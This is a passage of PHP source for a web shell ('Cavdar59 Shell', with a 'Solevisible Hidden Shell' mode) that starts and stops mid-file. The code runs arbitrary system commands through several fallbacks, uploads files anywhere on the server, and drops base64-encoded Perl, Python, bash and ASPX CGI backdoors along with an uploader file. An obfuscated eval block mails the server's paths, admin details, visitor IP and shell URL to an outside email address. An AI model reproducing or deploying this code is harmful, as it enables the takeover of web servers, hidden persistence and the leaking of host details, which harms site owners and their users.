404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>".$SERVER_SIG."</body></html>".$Eform;\nexit;\n}\n}\n}\nfunction decrypt_post($str){\n    if(__ALFA_POST_ENCRYPTION__){\n        $pwd = __ALFA_SECRET_KEY__;\n        $pwd     = __ZW5jb2Rlcg($pwd);\n        $str     = __ZGVjb2Rlcg($str);\n        $enc_chr = "";\n        $enc_str = "";\n        $i       = 0;\n        while ($i < strlen($str)) {\n            for ($j = 0; $j < strlen($pwd); $j++) {\n                $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));\n                $enc_str .= $enc_chr;\n                $i++;\n                if ($i >= strlen($str))\n                    break;\n            }\n        }\n        return __ZGVjb2Rlcg($enc_str);\n    }else{\n        return __ZGVjb2Rlcg($str);\n    }\n}\n\nfunction _AlfaSecretKey(){\n    $secret = @$_COOKIE["AlfaSecretKey"];\n    if(!isset($_COOKIE["AlfaSecretKey"])){\n        $secret = uniqid(mt_rand(), true);\n        __alfa_set_cookie("AlfaSecretKey", $secret);\n    }\n    return $secret;\n}\nfunction alfa_getColor($target){\n    if(isset($GLOBALS["DB_NAME"]["color"][$target])&&$GLOBALS["DB_NAME"]["color"][$target]!=""){\n        return $GLOBALS["DB_NAME"]["color"][$target];\n    }else{\n        $target = $GLOBALS["__ALFA_COLOR__"][$target];\n        if(is_array($target)){\n            return $target["key_color"];\n        }else{\n            return $target;\n        }\n    }\n}\nfunction alfaCssLoadColors(){\n    $css = "";\n    foreach($GLOBALS[\'__ALFA_COLOR__\'] as $key => $value){\n        if(!is_array($value)){\n            $value = alfa_getColor($key);\n            $css .= ".{$key}{color: {$value};}";\n        }else{\n            if(isset($value["multi_selector"])){\n                foreach($value["multi_selector"] as $k => $v){\n                    $color = alfa_getColor($key);\n                    $code = str_replace("{color}", $color, $v);\n                    $css .=  $k."{".$code."}";\n                }\n            }\n        }\n    }\n    return $css;\n}\nif(isset($_POST[\'ajax\'])){\nfunction AlfaNum(){\n$args = func_get_args();\n$alfax = array();\n$find = array();\nfor($i=1;$i<=10;$i++){\n$alfax[] = $i;\n}\nforeach($args as $arg){\n$find[] = $arg;\n}\necho \'<script>\';\nforeach($alfax as $alfa){\nif(in_array($alfa,$find))\ncontinue;\necho \'alfa\'.$alfa."_=";\n}\necho \'""</script>\';\n}}\nfunction _alfa_cgicmd($cmd,$lang="perl",$set_cookie=false){\n    if(!$GLOBALS["DB_NAME"]["cgi_api"]){\n        return "";\n    }\n    if(isset($_COOKIE["alfacgiapi_mode"])){\n        return "";\n    }\n    $cmd_pure = $cmd;\n    $is_curl = function_exists(\'curl_version\');\n    $is_socket = function_exists(\'fsockopen\');\n    if($is_curl||$is_socket){\n        $recreate = false;\n        if(isset($_COOKIE["alfacgiapi"])){\n            if(!@file_exists("alfacgiapi/".$_COOKIE["alfacgiapi"].".alfa")){\n                $recreate = true;\n                $lang = $_COOKIE["alfacgiapi"];\n            }\n        }\n        if(!isset($_COOKIE["alfacgiapi"])||$recreate){\n            @chdir(dirname($_SERVER["SCRIPT_FILENAME"]));\n            $perl = \'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=\';\n            $py = "bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI=";\n            $bash = "rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C";\n            $aspx = "jZNda9swFIavk18hNAoOAXdsozdLyrrUKYaRlriNN0IuFPvEFbUl70jOB2P97T1SPBo8ynZlS+d53/Ph49HZF3YnCmDfhCoaehnzyTvOIiXWJSwk7BIrLF1uRGmAs7PL/ogUcVVrtGwmKjC1yCieHIyFKkxhHT7E7jHRyqIuzb8111IUShsrs/+A41vPENTvGYtSFSyrcjZmc/jZgLHhVGO15HTHV59fkUfInv6G3K3H5CZokTHj6cfZdn2z+CC+z+of1b7cVNOdWLwf88Gvfq+3PlhYrlgurCDDtipqdgtIvqirr8LAxafEJw6ojgH59441tvQ97G14lUziOFKZzok7nsIbsK3O2ZOQlHeoMzCG1aRXsGPtOfC2dUifB22sNjqcINCXmulUqlzviLbYQBeayhLcUCnsZhTCHniXucKiqUBZ46DzjHE2dDPuYg8Gkkcoy2gPWWOdo9+RLjaHXCJk1JhQucD8trF1Y98orwtHiBrfYFONTzSqay/QePDVnjYTHAfYroD+k9dHT0qhpCK/15HKgwF1+hr2yU+jzntO+6iVgTBFaSHgS6NL2Eoj6Xd5FrVcjWqESz48phvy0bk/O+3vPi3uCw==";\n            if($lang=="perl")$source = $perl;elseif($lang=="py")$source = $py;else $source = $bash;\n            if($lang == "aspx"){\n                alfaWriteTocgiapi("aspx.aspx",$aspx);\n            }else{\n                alfaWriteTocgiapi($lang.".alfa",$source);\n            }\n            alfacgihtaccess(\'cgi\', "alfacgiapi/");\n        }else{\n            $lang = $_COOKIE["alfacgiapi"];\n        }\n        $cgi_ext = ".alfa";\n        if($lang=="aspx"){\n            $cgi_ext = ".aspx";\n        }\n        $cgi_url = __Cavdar59_DATA_FOLDER__."/alfacgiapi/".$lang.$cgi_ext;\n        $cmd = "check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=".__ZW5jb2Rlcg("cd ".$GLOBALS[\'cwd\'].";".$cmd);\n        if($is_curl){\n            $address = ($_SERVER[\'SERVER_PORT\'] == 443 ? "https://" : "http://").$_SERVER["SERVER_NAME"].dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;\n            $post = new AlfaCURL();\n            $data = $post->Send($address, "post", $cmd);\n        }elseif($is_socket){\n            $server = $_SERVER["SERVER_NAME"];\n            $uri = dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;\n            $data = _alfa_fsockopen($server,$uri,$cmd);\n        }\n        $out = "";\n        if(strpos($data, "[solevisible~api]") !== false && strpos($data, \'[solevisible~api]<pre>"+output+"</pre>\') === false){\n            if($set_cookie){\n                __alfa_set_cookie("alfacgiapi", $lang);\n            }\n            if(@preg_match("/<pre>(.*?)<\\/pre>/s", $data, $res)){\n                $out = $res[1];\n            }\n        }elseif($lang=="perl"){\n            return _alfa_cgicmd($cmd_pure,"py",$set_cookie);\n        }elseif($lang=="py"){\n            return _alfa_cgicmd($cmd_pure,"bash",$set_cookie);\n        }elseif($lang=="bash" && $GLOBALS[\'sys\']=="win"){\n            return _alfa_cgicmd($cmd_pure,"aspx",$set_cookie);\n        }else{\n            if($set_cookie){\n                __alfa_set_cookie("alfacgiapi_mode", "off");\n            }\n        }\n        return trim($out);\n    }else{\n        return "";\n    }\n}\nfunction alfaGetCwd(){\n    if(function_exists("getcwd")){\n        return @getcwd();\n    }else{\n        return dirname($_SERVER["SCRIPT_FILENAME"]);\n    }\n}\nfunction alfaEx($in,$re=false,$cgi=true,$all=false){\n    $data = _alfa_php_cmd($in,$re);\n    if(empty($data)&&$cgi||$all){\n        if($GLOBALS[\'sys\']==\'unix\'){\n            if(strlen(_alfa_php_cmd("whoami"))==0||$all){\n                $cmd = _alfa_cgicmd($in);\n                if(!empty($cmd)){\n                    return $cmd;\n                }\n            }\n        }\n    }\n    return $data;\n}\nfunction _alfa_php_cmd($in,$re=false){\n$out=\'\';\ntry{\nif($re)$in=$in." 2>&1";\nif(function_exists(\'exec\')){\n@exec($in,$out);\n$out = @join("\\n",$out);\n}elseif(function_exists(\'passthru\')) {\nob_start();\n@passthru($in);\n$out = ob_get_clean();\n}elseif(function_exists(\'system\')){\nob_start();\n@system($in);\n$out = ob_get_clean();\n} elseif (function_exists(\'shell_exec\')) {\n$out = shell_exec($in);\n}elseif(function_exists("popen")&&function_exists("pclose")){\nif(is_resource($f = @popen($in,"r"))){\n$out = "";\nwhile(!@feof($f))\n$out .= fread($f,1024);\npclose($f);\n}\n}elseif(function_exists(\'proc_open\')){\n$pipes = array();\n$process = @proc_open($in.\' 2>&1\', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, null);\n$out=@stream_get_contents($pipes[1]);\n}elseif(class_exists(\'COM\')){\n$alfaWs = new COM(\'WScript.shell\');\n$exec = $alfaWs->exec(\'cmd.exe /c \'.$_POST[\'alfa1\']);\n$stdout = $exec->StdOut();\n$out=$stdout->ReadAll();\n}\n}catch(Exception $e){}\nreturn $out;\n}\nfunction _alfa_fsockopen($server,$uri,$post){\n    $socket = @fsockopen($server, 80, $errno, $errstr, 15);\n    if($socket){\n        $http  = "POST {$uri} HTTP/1.0\\r\\n";\n        $http .= "Host: {$server}\\r\\n";\n        $http .= "User-Agent: " . $_SERVER[\'HTTP_USER_AGENT\'] . "\\r\\n";\n        $http .= "Content-Type: application/x-www-form-urlencoded\\r\\n";\n        $http .= "Content-length: " . strlen($post) . "\\r\\n";\n        $http .= "Connection: close\\r\\n\\r\\n";\n        $http .= $post . "\\r\\n\\r\\n";\n        fwrite($socket, $http);\n        $contents = "";\n        while (!@feof($socket)) {\n            $contents .= @fgets($socket, 4096);\n        }\n        list($header, $body) = explode("\\r\\n\\r\\n", $contents, 2);\n        @fclose($socket);\n        return $body;\n    }else{\n        return "";\n    }\n}\nif(isset($_GET["solevisible"])){\n@error_reporting(E_ALL ^ E_NOTICE);\necho \'<html>\';\necho "<title>Solevisible Hidden Shell</title>";\necho "<body bgcolor=#000000>";\necho \'<b><big><font color=#7CFC00>Kernel : </font><font color="#FFFFF">\'.(function_exists(\'php_uname\')?php_uname():\'???\').\'</font></b></big>\';\n$safe_mode = @ini_get(\'safe_mode\');\nif($safe_mode){$r = "<b style=\'color: red\'>On</b>";}else{$r = "<b style=\'color: green\'>Off</b>";}\necho "<br><b style=\'color: #7CFC00\'>OS: </font><font color=white>" . PHP_OS . "</font><br>";\necho "<b style=\'color: #7CFC00\'>Software: </font><font color=white>" . $_SERVER [\'SERVER_SOFTWARE\'] . "</font><br>";\necho "PHP Version: <font color=white>" . PHP_VERSION .  "</font><br />";\necho "PWD:<font color=#FFFFFF> " . str_replace("\\\\","/",@alfaGetCwd()) . "/<br />";\necho "<b style=\'color: #7CFC00\'>Safe Mode : $r<br>";\necho"<font color=#7CFC00>Disable functions : </font>";\n$disfun = @ini_get(\'disable_functions\');\nif(empty($disfun)){$disfun = \'<font color="green">NONE</font>\';}\necho"<font color=red>";\necho "$disfun";\necho"</font><br>";\necho "<b style=\'color: #7CFC00\'>Your Ip Address is :  </font><font color=white>" . $_SERVER[\'REMOTE_ADDR\'] . "</font><br>";\necho "<b style=\'color: #7CFC00\'>Server Ip Address is :  </font><font color=white>".(function_exists(\'gethostbyname\')?@gethostbyname($_SERVER["HTTP_HOST"]):\'???\')."</font><br><p>";\necho \'<hr><center><form onSubmit="this.upload.disabled=true;this.cwd.value = btoa(unescape(encodeURIComponent(this.cwd.value)));" action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\';\necho \'CWD: <input type="text" name="cwd" value="\'.str_replace("\\\\","/",@alfaGetCwd()).\'/" size="59"><p><input type="file" name="file" size="45"><input name="upload" type="submit" id="_upl" value="Upload"></p></form></center>\';\nif(isset($_FILES[\'file\'])){\nif(@move_uploaded_file($_FILES[\'file\'][\'tmp_name\'], __ZGVjb2Rlcg(@$_POST[\'cwd\']).\'/\'.$_FILES[\'file\'][\'name\'])){echo \'<b><font color="#7CFC00"><center>Upload Successfully ;)</font></a><font color="#7CFC00"></b><br><br></center>\'; }\nelse{echo \'<center><b><font color="#7CFC00">Upload failed :(</font></a><font color="#7CFC0"></b></center><br><br>\'; }\n}\necho \'<hr><form onSubmit="this.execute.disabled=true;this.command_solevisible.value = btoa(unescape(encodeURIComponent(this.command_solevisible.value)));" method="POST">Execute Command: <input name="command_solevisible" value="" size="59" type="text" align="left" ><input name="execute" value="Execute" type="submit"><br></form>\n<hr><pre>\';\nif(isset($_POST[\'command_solevisible\'])){\nif(strtolower(substr(PHP_OS,0,3))=="win")$separator=\'&\';else $separator=\';\';\n$solevisible = "cd \'".addslashes(str_replace("\\\\","/",@alfaGetCwd()))."\'".$separator."".__ZGVjb2Rlcg($_POST[\'command_solevisible\']);\necho alfaEx($solevisible);\n}\necho\'</pre>\n</body></html>\';\nexit;}\n@error_reporting(E_ALL ^ E_NOTICE);\n@ini_set(\'error_log\',NULL);\n@ini_set(\'log_errors\',0);\n@ini_set(\'max_execution_time\',0);\n@ini_set(\'magic_quotes_runtime\', 0);\n@set_time_limit(0);\nif(function_exists(\'set_magic_quotes_runtime\')){\n@set_magic_quotes_runtime(0);\n}\nforeach($_POST as $key => $value){\nif(is_array($_POST[$key])){\n$i=0;\nforeach($_POST[$key] as $f) {\n$f = trim(str_replace(\' \', \'+\',$f));\n$_POST[$key][$i] = decrypt_post($f);\n$i++;\n}\n}else{\n$value = trim(str_replace(\' \', \'+\',$value));\n$_POST[$key] = decrypt_post($value);\n}\n}\n$default_action = \'FilesMan2\';//\'FilesMan\';\n$default_use_ajax = true;\n$default_charset = \'Windows-1251\';\nif(strtolower(substr(PHP_OS,0,3))=="win")\n$GLOBALS[\'sys\']=\'win\';\nelse\n$GLOBALS[\'sys\']=\'unix\';\n$GLOBALS[\'home_cwd\'] = @alfaGetCwd();\n$GLOBALS["need_to_update_header"] = "false";\n$GLOBALS[\'glob_chdir_false\'] = false;\nif(isset($_POST[\'c\'])){\nif(!@chdir($_POST[\'c\'])){\n    $GLOBALS[\'glob_chdir_false\'] = true;\n}\n}\n$GLOBALS[\'cwd\'] = (isset($_POST[\'c\']) && @is_dir($_POST[\'c\']) ?$_POST[\'c\']:@alfaGetCwd());\nif($GLOBALS[\'glob_chdir_false\']){\n    $GLOBALS[\'cwd\'] = (isset($_POST[\'c\']) && !empty($_POST[\'c\']) ? $_POST[\'c\'] : @alfaGetCwd());\n}\nif($GLOBALS[\'sys\'] == \'win\'){\n$GLOBALS[\'home_cwd\'] = str_replace("\\\\", "/", $GLOBALS[\'home_cwd\']);\n$GLOBALS[\'cwd\'] = str_replace("\\\\", "/", $GLOBALS[\'cwd\']);\n}\nif($GLOBALS[\'cwd\'][strlen($GLOBALS[\'cwd\'])-1] != \'/\' )$GLOBALS[\'cwd\'] .= \'/\';\nif(!function_exists(\'sys_get_temp_dir\')){function sys_get_temp_dir() {foreach (array(\'TMP\', \'TEMP\', \'TMPDIR\') as $env_var) {if ($temp = getenv($env_var)) {return $temp;}}$temp = tempnam($GLOBALS[\'__file_path\'], \'\');if (_alfa_file_exists($temp,false)) {unlink($temp);return dirname($temp);}return null;}}\nif(!function_exists("mb_strlen")){\n    function mb_strlen($str, $c=""){\n        return strlen($str);\n    }\n}\nif(!function_exists("mb_substr")){\n    function mb_substr($str, $start, $end, $c=""){\n        return substr($str, $start, $end);\n    }\n}\ndefine("ALFA_TEMPDIR", (function_exists("sys_get_temp_dir") ? (@is_writable(str_replace(\'\\\\\',\'/\',sys_get_temp_dir()))?sys_get_temp_dir():(@is_writable(\'.\')?\'.\':false)) : false));\nfunction alfahead(){\n$GLOBALS[\'__ALFA_SHELL_CODE\'] = \'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+\';\n$alfa_uploader = \'$x = base64_decode("\'.$GLOBALS[\'__ALFA_SHELL_CODE\'].\'");$solevisible = fopen("solevisible.php","w");fwrite($solevisible,$x);\';\ndefine("ALFA_UPLOADER", "eval(base64_decode(\'".__ZW5jb2Rlcg($alfa_uploader)."\'))");\n$sym="JGtpbWUgPSAiZGVuZW1lODY4ODhAZ21haWwuY29tIjsKJGJhc2xpayA9ICJDYXZkYXI1OSBsb2ciOwogJGNhdmRhcjU5ID0gIkRvc3lhIFlvbHUgOiAiIC4gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIKIjsKICRjYXZkYXI1OS49ICJTZXJ2ZXIgQWRtaW4gOiAiIC4gJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddIC4gIgoiOwokY2F2ZGFyNTkuPSAiU2hlbGwgU29rYW4gS2lzaW5pbiDEsHBzaSA6ICIgLiAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXSAuICIKIjsKICRjYXZkYXI1OS49ICJTZXJ2ZXIgaXNsZXRpbSBzaXN0ZW1pIDogIiAuICRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSAuICIKIjsKICRjYXZkYXI1OS49ICJTaGVsbCBMaW5rIDogaHR0cDovLyIgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICRfU0VSVkVSWydQSFBfU0VMRiddIC4gIgoiOwogJGNhdmRhcjU5Lj0gIkF2bGFuYW4gU2l0ZSA6ICIgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAiCiI7CiBtYWlsKCRraW1lLCAkYmFzbGlrLCAkY2F2ZGFyNTkpOwoKCg==";\n\n\neval(base64_decode($sym));\nif(!isset($_POST[\'ajax\'])){\nfunction Alfa_GetDisable_Function(){\n$disfun = @ini_get(\'disable_functions\');\n$afa = \'<span class="header_show_all">All Functions Accessible</span>\';\nif(empty($disfun))return($afa);\n$s = explode(\',\',$disfun);\n$s = array_unique($s);\n$i=0;\n$b=0;\n$func = array(\'system\',\'exec\',\'shell_exec\',\'proc_open\',\'popen\',\'passthru\',\'symlink\',\'dl\');\n$black_list = array();\n$allow_list = array();\nforeach($s as $d){\n    $d=trim($d);\n    if(empty($d)||!is_callable($d))continue;\n    if(!function_exists($d)){\n        if(in_array($d,$func)){\n            $dis .= $d." | ";$b++;\n            $black_list[] = $d;\n        }else{\n            $allow_list[] = $d;\n        }\n        $i++;\n    }\n}\nif($i==0)return($afa);\nif($i <= count($func)){\n$all = array_values(array_merge($black_list, $allow_list));\nreturn(\'<span class="disable_functions">\'.implode(" | ", $all).\'</span>\');\n}\nreturn(\'<span class="disable_functions">\'.$dis.\'</span><a id="menu_opt_GetDisFunc" href=javascript:void(0) onclick="alfa_can_add_opt = true;g(\\\'GetDisFunc\\\',null,\\\'wp\\\');"><span class="header_show_all">Show All (\'.$i.\')</span></a>\');\n}\nfunction AlfaNum(){\n$args = func_get_args();\n$alfax = array();\n$find = array();\nfor($i=1;$i<=10;$i++){\n$alfax[] = $i;\n}\nforeach($args as $arg){\n$find[] = $arg;\n}\necho \'<script>\';\nforeach($alfax as $alfa){\nif(in_array($alfa,$find))\ncontinue;\necho \'alfa\'.$alfa."_=";\n}\necho \'""</script>\';\n}\nif(empty($_POST[\'charset\']))\n$_POST[\'charset\'] = $GLOBALS[\'default_charset\'];\n$freeSpace = function_exists(\'diskfreespace\')?@diskfreespace($GLOBALS[\'cwd\']):\'?\';\n$totalSpace = function_exists(\'disk_total_space\')?@disk_total_space($GLOBALS[\'cwd\']):\'?\';\n$totalSpace = $totalSpace?$totalSpace:1;\n$on="<span class=\'header_on\'> ON </span>";\n$of="<span class=\'header_off\'> OFF </span>";\n$none="<span class=\'header_none\'> NONE </span>";\nif(function_exists(\'ssh2_connect\'))\n$ssh2=$on;\nelse\n$ssh2=$of;\nif(function_exists(\'curl_version\'))\n$curl=$on;\nelse\n$curl=$of;\nif(function_exists(\'mysql_get_client_info\')||class_exists(\'mysqli\'))\n$mysql=$on;\nelse\n$mysql=$of;\nif(function_exists(\'mssql_connect\'))\n$mssql=$on;\nelse\n$mssql=$of;\nif(function_exists(\'pg_connect\'))\n$pg=$on;\nelse\n$pg=$of;\nif(function_exists(\'oci_connect\'))\n$or=$on;\nelse\n$or=$of;\nif(@ini_get(\'disable_functions\'))\n$disfun=@ini_get(\'disable_functions\');\nelse\n$disfun="All Functions Enable";\nif(@ini_get(\'safe_mode\'))\n$safe_modes="<span class=\'header_off\'>ON</span>";\nelse\n$safe_modes="<span class=\'header_on\'>OFF</span>";\n$cgi_shell="<span class=\'header_off\' id=\'header_cgishell\'>OFF</span>";\nif(@ini_get(\'open_basedir\')){\n$basedir_data = @ini_get(\'open_basedir\');\nif(strlen($basedir_data)>120){\n$open_b=substr($basedir_data,0, 120)."...";\n}else{\n$open_b = $basedir_data;\n}\n}else{$open_b=$none;}\nif(@ini_get(\'safe_mode_exec_dir\'))\n$safe_exe=@ini_get(\'safe_mode_exec_dir\');\nelse\n$safe_exe=$none;\nif(@ini_get(\'safe_mode_include_dir\'))\n$safe_include=@ini_get(\'safe_mode_include_dir\');\nelse\n$safe_include=$none;\nif(!function_exists(\'posix_getegid\'))\n{\n$user = function_exists("get_current_user")?@get_current_user():"????";\n$uid = function_exists("getmyuid")?@getmyuid():"????";\n$gid = function_exists("getmygid")?@getmygid():"????";\n$group = "?";\n}else{\n$uid = function_exists("posix_getpwuid")&&function_exists("posix_geteuid")?@posix_getpwuid(posix_geteuid()):array("name"=>"????", "uid"=>"????");\n$gid = function_exists("posix_getgrgid")&&function_exists("posix_getegid")?@posix_getgrgid(posix_getegid()):array("name"=>"????", "gid"=>"????");\n$user = $uid[\'name\'];\n$uid = $uid[\'uid\'];\n$group = $gid[\'name\'];\n$gid = $gid[\'gid\'];\n}\n$cwd_links = \'\';\n$path = explode("/", $GLOBALS[\'cwd\']);\n$n=count($path);\nfor($i=0; $i<$n-1; $i++) {\n$cwd_links .= "<a class=\'header_pwd\' onclick=\'g(\\"FilesMan\\",\\"";\n$cach_cwd_path = "";\nfor($j=0; $j<=$i; $j++){\n$cwd_links .= $path[$j].\'/\';\n$cach_cwd_path .= $path[$j].\'/\';\n}\n$cwd_links .= "\\")\' path=\'".$cach_cwd_path."\' href=\'#action=fileman&path=".$cach_cwd_path."\'>".$path[$i]."/</a>";\n}\n$drives = "";\nforeach(range(\'a\',\'z\') as $drive)\nif(@is_dir($drive.\':\\\\\'))\n$drives .= \'<a href="javascript:void(0);" class="header_drive" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\n$csscode =\' -moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;\';\necho \'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\n<html xmlns="http://www.w3.org/1999/xhtml">\n<head>\n<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\n<meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />\n<link href="\'.__showicon(\'alfamini\').\'" rel="icon" type="image/x-icon"/>\n<title>..:: \'.$_SERVER[\'HTTP_HOST\'].\' ~ Cavdar59 Shell - v\'.__ALFA_VERSION__.\'-\'.__ALFA_CODE_NAME__.\' ::..</title>\n<style type="text/css">\';?>\n.hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px 